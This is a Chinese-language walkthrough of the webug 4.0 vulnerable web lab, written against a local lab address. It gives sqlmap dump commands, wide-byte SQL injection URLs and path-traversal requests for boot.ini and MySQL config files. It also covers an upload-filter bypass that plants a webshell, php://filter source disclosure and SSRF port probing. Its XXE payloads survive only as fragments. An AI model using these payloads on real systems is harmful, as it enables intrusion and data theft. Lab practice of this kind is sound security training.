webug4.0 后面持续更新

第四关：post注入
打开网站
在搜索框中输入‘，之后报错
用bp抓包之后保存在本地

直接用sqlmap跑，跑数据库
sqlmap -r C:\Users\Administrator\Desktop\2.txt -p “keyWordName” --level=2 --dbs --batch
表名
sqlmap -r C:\Users\Administrator\Desktop\2.txt -p “keyWordName” --level=2 -D webug --tables --batch

字段名
sqlmap -r C:\Users\Administrator\Desktop\2.txt -p “keyWordName” --level=2 -D webug -T flag --columns --batch

值
sqlmap -r C:\Users\Administrator\Desktop\2.txt -p “keyWordName” --level=2 -D webug -T flag -C flag --dump --batch
第五关
和第四关差不多直接用sqlmap跑就行
第六关：宽字节注入
由于是款字节注入
打一个%df试试

发现存在注入点，可以手工注入
1、判断列数：
http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 order by 1%23
http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 order by 2%23
http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 order by 3%23
order by 3 时报错，说明只有两列。
2、库名：
http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1,database()%23

3、表名：
http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2
union select ,1,group_concat(table_name)
from information_schema.tables
where table_schema=database()%23
4.字段
http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 and 1=2 union select 1，group_concat(column_name)
from information_schema.columns
where table_name=webug and table_schema=database()%23
sqlmap:
数据库
sqlmap -u http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 --dbs
表：
sqlmap -u http://192.168.59.128/control/sqlinject/width_byte_injection.php?id=1%df%27 -D webug --tables
后面就是重复步骤了
第7关
输入admin之后发现
查看服务版本

]>

&content;

测量半天找不到其他的，查看源码发现有一个payload，然后解压之后发现在d盘有一个1.txt，但是我没有d盘，直接在c盘下面建立一个1.txt
直接写入xxe代码爆出flag

]>

&content;

第九关 反射xss
这关没有过滤，构造就可以了

第13关 过滤xss
构造语句，发现被过滤了
试了大小写，也是一样被过滤了
然后试这个一下就爆出flag
第14关 连接注入
看题目试连接注入
直接构造asads试试
发现可以跳转的百度
第15关

可以抓包看路径，也可以在页面审查看路径，我是抓包
然后
修改路径，下载其他的比如boot.ini
?file=…/boot.ini
第16关
和上关差不多，构造语句下载mysql配置文件
第17关 文件上传（前端拦截）
上传一个.php文件马上就拦截
1，修改前端代码绕过
2，burp抓包改包

为了简单直接写一句话，
上蚁剑
在里面找flag就可以了

碧微

第27关 文件包含

http://192.168.59.128/control/more/file_include.php?filename=php://filter/convert.base64-encode/resource=…/…/index.php
解码就可以看到index.php源码了

第30关 ssrf
查看win的基本配置文件
查看系统版本

直接使用http://192.168.59.128/control/more/ssrf.php?url=http://192.168.59.128:22来探测22端口是否开放